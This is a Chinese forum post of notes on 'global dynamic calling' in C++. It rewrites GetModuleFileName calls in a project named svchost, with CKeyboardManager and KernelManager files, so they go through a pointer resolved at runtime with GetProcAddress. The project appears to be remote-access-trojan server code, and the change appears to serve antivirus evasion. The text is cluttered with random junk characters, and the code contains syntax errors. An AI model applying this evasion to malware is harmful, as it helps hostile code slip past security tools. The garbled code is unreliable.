返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
% l2 o6 T2 q  {! }' Wsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
2 Z% T0 B+ ?- M----------------------------------------
& k# ?* P4 W+ v' H/ B+ O3 G/ WDTDY.h:6 n; H0 _8 L+ k0 R
7 N( `& K$ f8 {- B
#if _MSC_VER>1000
6 r, Y+ ]" i" W* Y6 H#pragma once
+ a6 e! W6 C( K/ l5 K4 J2 N6 T#endif //_MSC_VER>1000
* Z7 p; F8 ]4 i) R#include<windows.h>
  }  z9 o' [3 S5 u  v6 [' t. h- F5 O9 T2 |1 X; \& n
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);& B/ V1 E% X' I) m! _. `5 q
class DTDY% x  P2 u+ w6 {' [+ C# G0 \
{
% r' Y2 j; `7 x- Z) {2 S' P8 epublic:
+ e; I$ N$ T0 A% e2 B8 ZDTDY();  X; {3 k  H: h' C/ P
virtual ~DTDY();
  ?) d# U$ J# ?/ J# b( Q  q0 M7 t  epublic:
5 M) h" f9 U* R7 V& Vstatic pGetModuleFileNameA MyGetModuleFileName;; c3 A' ~+ M  h7 _
static BOOL FunInitiallization();
; Z/ m' L" j/ Q( q" g};
( Z" z9 K# ?* Q/ b9 z9 X#endif
( k9 Y% N" t0 b/ W2 F( f8 ~- {2 g( P; i----------------------------------------
- k4 |! u  A" g6 {* x
/ `( t; m% [( Q8 \+ K: E' b# E, RDTDY.cpp:
& q2 |. v: @# v7 p' W& {  q
. b3 Q  W  e* z3 Q: i#include "DTDY.h"2 e  k/ z  k; V! {  O
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;" [& L4 ~" u' s  c* R2 e
DTDY:TDY()
  R$ g. `& J& A- e8 X. f{
0 o' i- @7 w; V- s" ~+ O0 W}
" m, e( V  U7 C1 h' uDTDY::~DTDY()9 o0 Z: N7 A  ]9 x) f. ?- k
{* b  `" M# e! ^$ E& ?7 r3 T& Q3 D
}# t% e/ a+ k+ |$ P8 n
BOOL DTDY::FunInitiallization(), d, j1 A' Z$ o0 f; s3 v
{/ _6 B5 b: n) l! d" \, I
HMODULE hModule=LoadLibrary("kernel32.dll");
: g& G' e& q" B, L, n0 {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
0 z3 L9 G6 H3 Iif(!MyGetModuleFileName=) return FALSE;7 Z: I7 Y" E9 a

) G$ E( G9 {1 o- d9 j1 G1 `/ ]return TRUE;3 _5 }3 s2 B" V: D9 |
}9 L4 i. a1 q: \, |5 b* u
----------------------------------------
  L) K* s' [: Psvchost.cpp:2 n8 y& B( ~. L/ n4 [- G9 s/ X- F
1 x" F/ r8 \! Q; G
#include "DTDY.h"7 V  ]0 [: v: D/ D) s

$ p4 G' R: k2 i9 U7 I! t7 {6 sBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 _6 n* h' O( n% x4 y) Y- R7 j{# l  L# I6 m) e1 S4 F8 S  n
switch(ul_reason_for_call)  K% b4 }) h1 U( F: O* t& @
{* ?, f. ~) j# n5 N0 z7 F" y7 k( q
case DLL_PROCESS_ATTACH:
7 k% g9 X) ]3 o4 `9 p4 j% P( kif(!DTDY::FunInitiallization()) return FALSE;
* d. l! x- s' o3 s! [9 s1 Q$ [* e5 d3 X2 I4 @
break;
+ V8 U. M, |! W( e9 H" i}
) M4 t# p3 y0 a/ [. [* u" {4 U& G}
: g$ |/ T# k; @5 t; K; E% k# S. [( C# B

0 q1 m" t- g1 l7 Y# }' U3 OGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* N4 D9 v& D% i! u: J# z
改写为
  E  `- A1 b: r; A- hDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
, }7 E9 B( A; r0 m----------------------------------------
, Q& x4 L8 \% ]6 r% }: QKernelManager.cpp:
# P) |! E4 @6 S; u1 D- z4 t& k* z; x
#include "../DTDY.h"$ y7 E6 D2 Y8 t, F$ W
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
9 o; }8 d" _& L# n  U3 J改写为
$ Q3 d* y0 ?  U' B) y6 G$ g( }5 UDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 E% u# M, F" K$ s( E
----------------------------------------

返回列表